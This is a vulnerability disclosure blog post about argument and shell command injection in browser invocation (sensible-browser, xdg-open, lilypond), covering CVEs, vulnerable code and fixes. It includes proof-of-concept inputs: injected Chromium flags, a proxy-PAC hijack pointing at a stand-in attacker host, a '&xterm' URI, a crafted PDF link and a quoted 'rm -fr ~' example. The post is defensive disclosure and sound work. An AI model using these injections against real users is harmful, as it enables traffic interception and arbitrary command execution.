Argument and shell command injections in browser invocation
Published:
Updated:
I found an argument injection vulnerability related to the handling of the BROWSER
environment variable in sensible-browser
. This lead me (and others) to a a few other argument and shell command injection vulnerabilities in BROWSER
processing and browser invocation in general.
Overview:
- Argument injection in sensible-browser, CVE-2017-17512, DSA-4071, Debian Bug #881767;
- Argument injection in xdg-open, CVE-2017-18266, xdg-open bug #103807, DSA-4211, DLA-1384-1, Debian Bug #898317;
- Shell command injection in lilypond, CVE-2017-17523, CVE-2018-10992, Lilypond Issue #5243, Debian Bug #884136, Debian Bug #898373.
Table of content
The BROWSER
variable environment
The BROWSER
environment variable is used as a way to specify the user's preferred browser. The specific handling of this variable is not consistent across programs:
- some use it as a program name (
BROWSER=firefox
); - some use it as a colon-separated list of program names (
BROWSER=firefox:chromium
); - some can optionally use a
%s
token which is expanded into the URI (BROWSER='netscape -raise -remote "openURL(%s,new-window)":lynx'
).
As was already noted in 2001, naively implementing support for this environment variable (and especially the %s
expansion) can lead to injection vulnerabilities:
Eric Raymond has proposed the BROWSER convention for Unix-like systems, which lets users specify their browser preferences and lets developers easily invoke those browsers. In general, this is a great idea. Unfortunately, as specified it has horrendous security flaws; documents containing hypertext links like
; /bin/rm -fr ~
will erase all of a user's files when the user selects it!
In contrast, the .desktop
file specification clearly specifies how argument expansion and word splitting is supposed to happen when processing .desktop
files in a way which is not vulnerable to injection attacks.
Argument injection in sensible-browser
(CVE-2017-17512)
The vulnerability
sensible-browser
is a simple program which tries to guess a suitable browser to open a given URI. You call it like:
sensible-browser http://www.example.com/
and it ultimately calls something like:
firefox http://www.example.com/
The actual browser called depends on the desktop environment (and its configuration) and some environment variables.
While trying to understand how I could configure the browser to use, I found this snippet:
if test -n "$BROWSER"; then
OLDIFS="$IFS"
IFS=:
for i in $BROWSER; do
case "$i" in
(*%s*)
:
;;
(*)
i="$i %s"
;;
esac
IFS="$OLDIFS"
cmd=$(printf "$i\n" "$URL")
$cmd && exit 0
done
fi
The idea is that when the BROWSER
environment variable is set, it is taken as a (colon-separated) list of browsers which are tried in turn. Morever if %s
in present in one of the browser strings, it is replaced with the URI.
The problem is that if $URL
contains some spaces (or other IFS
characters) the URL will be split in several arguments.
The interesting lines are:
cmd=$(printf "$i\n" "$URL")
$cmd && exit 0
An attacker could inject additional arguments in the browser call.
For example, this command opens a Chromium window in incognito mode:
BROWSER=chromium sensible-browser "http://www.example.com/ --incognito"
One could argue that this URI is invalid and that this is not a problem. However, if the caller of sensible-browser
does not properly validate the URI, an attacker could craft a broken URI which when called will add extra arguments when calling the browser.
A suitable caller
Emacs might call sensible-browser
with an invalid URI.
First, we configure it to use open links with sensible-browser
:
(setq browse-url-browser-function (quote browse-url-generic))
(setq browse-url-generic-program "sensible-browser")
Now, an org-mode
file like this one will open Chromium in incognito mode:
[[http://www.example.com/ --incognito][test]]
Note: I was able to trigger this with org-mode
9.1.2 as shipped in the in Debian elpa-org
package. This does not happen with org-mode
8.2.10 which was shipped in the emacs25
package.
MITMing the browser
This particular example is not very dangerous and the injection is easy to notice. However, other injected arguments can be more harmful and more insiduous.
Clicking on the link of this Emacs org-mode file launches Chromium with an alternative Proxy Auto-Configuration (PAC) file:
[[http://www.example.com/ --proxy-pac-file=http://dangerous.example.com/proxy.pac][test]]
Nothing is notifying the user that an alternative PAC file is in use.
An attacker could use this type of URI to forward all the browser traffic to a server under their control and effectively MITM all the browser traffic:
function FindProxyForURL(url, host)
{
return "SOCKS mitm.example.com:9080";
}
Of course, for HTTPS websites, the attacker still cannot MITM the user unless the users accepts a bogus certificate.
Alternatively, you can simply pass a --proxy-server
argument to set a proxy without using a PAC file.
Update 2023-06-08: another options it to use chrome --gpu-launcher="command"
for arbitray code execution.
Fixing the vulnerability
A possible fix would be for sensible-browser to actually check that the URL parameter does not contain any IFS character.
The fix currently deployed is to remove support for %s
-expansion altogether (as well as support for a list of browsersin the BROWSER
variable):
if test -n "$BROWSER"; then
${BROWSER} "$@"
ret="$?"
if [ "$ret" -ne 126 ] && [ "$ret" -ne 127 ]; then
exit "$ret"
fi
fi
References
Argument injection in xdg-open
(CVE-2017-18266)
The vulnerability
xdg-open
is similar to sensible-browser
. It opens files or URIs with some programs depending on the desktop-environment. In some cases, it falls back to using the BROWSER
environment variable:
open_envvar()
{
local oldifs="$IFS"
local browser browser_with_arg
IFS=":"
for browser in $BROWSER; do
IFS="$oldifs"
if [ -z "$browser" ]; then
continue
fi
if echo "$browser" | grep -q %s; then
$(printf "$browser" "$1")
else
$browser "$1"
fi
if [ $? -eq 0 ]; then
exit_success
fi
done
}
The interesting bit is:
$(printf "$browser" "$1")
This line is vulnerable to argument injection like the sensible-browser
case.
This bug was reported in the xdg-utils bugtracker as bug #103807.
Fixing the vulnerability
I proposed this very simple fix:
if echo "$browser" | grep -q %s; then
# Avoid argument injection.
# See https://bugs.freedesktop.org/show_bug.cgi?id=103807
# URIs don't have IFS characters spaces anyway.
has_single_argument $1 && $(printf "$browser" "$1")
else
$browser "$1"
fi
where has_single_argument()
is defined has:
has_single_argument()
{
test $# = 1
}
Another (better) solution currently shipped in Debian is:
url="$1"
if echo "$browser" | grep -q %s; then
shift $#
for arg in $browser; do
set -- "$@" "$(printf -- "$arg" "$url")"
done
"$@"
else
$browser "$url"
fi
References
Shell command injection in lilypond (CVE-2017-17523, CVE-2018-10992)
I started checking if the same vulnerability could be found in other programs using Debian code search. This led me to lilypond-invoke-editor
.
The vulnerability
This is a helper script expected to be set as a URI handler in a PDF viewer. It handles some special lilypond URIs (textedit://FILE:LINE:CHAR:COLUMN
). It forwards other URIs to some real browser using:
(define (run-browser uri)
(system
(if (getenv "BROWSER")
(format #f "~a ~a" (getenv "BROWSER") uri)
(format #f "firefox -remote 'OpenURL(~a,new-tab)'" uri))))
The scheme system
function is equivalent to the C system()
: it passes the argument to the shell (with sh -c
).
This case is worse than the previous ones. Not only can an attacker inject extra arguments (provided the caller can pass IFS chracters) but it is possible to inject arbitrary shell commands:
BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/ & xterm"
It even works with valid URIs:
BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/&xterm"
We can generate a simple PDF file which contains a link which calls xterm through lilypond-invoke-editor
:
1 0 obj
<</Type/Page/Parent 5 0 R/Resources 12 0 R/MediaBox[0 0 595.275590551181 841.861417322835]/Annots[
4 0 R ]
/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
endobj
% ...
4 0 obj
<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(http://www.example.com/&xterm)>>
>>
endobj
Clicking on the link from mupdf
invokes the xterm command when using lilypond-invoke-editor
:
BROWSER="lilypond-invoke-editor" mupdf xterm-inject.pdf
Fixing the vulnerablity
The current fix in Debian is:
(define (run-browser uri)
(if (getenv "BROWSER")
(system*
(getenv "BROWSER")
uri)
(system*
"firefox"
"-remote"
(format #f "OpenUrl(~a,new-tab)" uri))))
system*
is similar to posix_spawnp()
: it takes a list of arguments and does something like fork()
, execvp()
and wait()
(without going through a shell interpreter).
References
Similar vulnerabilities
Someone apparently took over the job of finding similar issues in other packages because a whole range of related CVE has been registered at the same time:
- CVE-2017-17511 for KildClient: MITRE, NIST, Debian
- CVE-2017-17512 for sensible-browser : MITRE, NIST, Debian
- CVE-2017-17513 for TeX Live: MITRE, NIST, Debian
- CVE-2017-17514 for nip2: MITRE, NIST, Debian
- CVE-2017-17515 for Metview: MITRE, NIST, Debian
- CVE-2017-17516 for RTV: MITRE, NIST, Debian
- CVE-2017-17517 for Sylpheed: MITRE, NIST, Debian
- CVE-2017-17518 for WhiteDune: MITRE, NIST, Debian
- CVE-2017-17519 for OCaml Batteries Included: MITRE, NIST, Debian
- CVE-2017-17520 for TIN: MITRE, NIST, Debian
- CVE-2017-17521 for FontForge: MITRE, NIST, Debian
- CVE-2017-17522 for Python 3: MITRE, NIST, Debian
- CVE-2017-17523 for LilyPond: MITRE, NIST, Debian
- CVE-2017-17524 for SWI-Prolog: MITRE, NIST, Debian
- CVE-2017-17525 for xTuple PostBooks: MITRE, NIST, Debian
- CVE-2017-17526 for Bernard Parisse Giac: MITRE, NIST, Debian
- CVE-2017-17527 for PasDoc: MITRE, NIST, Debian
- CVE-2017-17528 for ScummVM: MITRE, NIST, Debian
- CVE-2017-17529 for AbiWord: MITRE, NIST, Debian
- CVE-2017-17530 for Geomview: MITRE, NIST, Debian
- CVE-2017-17531 for GNU GLOBAL: MITRE, NIST, Debian
- CVE-2017-17532 for Kiwi: MITRE, NIST, Debian
- CVE-2017-17533 for Tkabber: MITRE, NIST, Debian
- CVE-2017-17534 for Mensis: MITRE, NIST, Debian
- CVE-2017-17535 for gjots2: MITRE, NIST, Debian
- CVE-2017-18266 for xdg-open: MITRE, NIST, Debian
Some of them are disputed. I will look at some of them in a next episode. The summary of the next episode is that not all of them are valid.
Analysis
These vulnerabilities can be split in two classes.
Argument injection
Argument injection can happen when IFS present in the URI are expanded into multiple arguments. This usually happen because of unquoted shell expansion of non-validated strings:
my-command $some_untrusted_input
IFS characters are not in valid URIs so if the URI was already validated somehow in the caller this is not be an issue. As we have seen, some caller might not properly validate the URI string.
Shell command injection
Shell command injection can happen when shell metacharacters ($
, <
, >
, ;
, &
, &&
, |
, ||
, etc.) found in the URI are passed without proper escaping to the shell interpreter:
- either using the
system()
library call (C),os.system()
(Python), etc. - or by using the shell
eval
builtin; - or by calling
sh -c
explicitly.
A typical example would be be (in Python):
os.system("my-command " + url)
Or in shell:
eval my-command "$url"
In some cases, some escaping is done such as in gjots2:
os.system(browser + " '" + url + "' &")
This simple quoting is not enough however because you can escape out of it using single-quotes in the untrusted input. If you want to to that, you need to properly escape quotes and backslashes in the input as well:
os.system("{} {} ".format(browser, shlex.quote(url)))
Using system()
is often a bad idea and you would better use:
posix_spawn()
in C (POSIX);os.spawnl()
orsubprocess.run()
in Python;system*
in Scheme;system("command", arg)
in Ruby (instead ofsystem("command " + arg)
);system "command", $arg
in Perl (instead ofsystem "command " . $arg
);- etc.
For example, the previous example could be rewritten as:
os.spawnvp(os.P_WAIT, browser, [browser, url])
Some of the shell metacharacters (&
, ;
, etc.) can be present in valid URIs (eg. http://www.example.com/&xterm
) so even a proper URI validation does not protect against those attacks.
Related
- Fun With Custom URI Schemes, where we learn that URI scheme handlers on Windows are quite a mess (and a funny example on Windows-based argument injection with application-specific custom URI scheme handlers)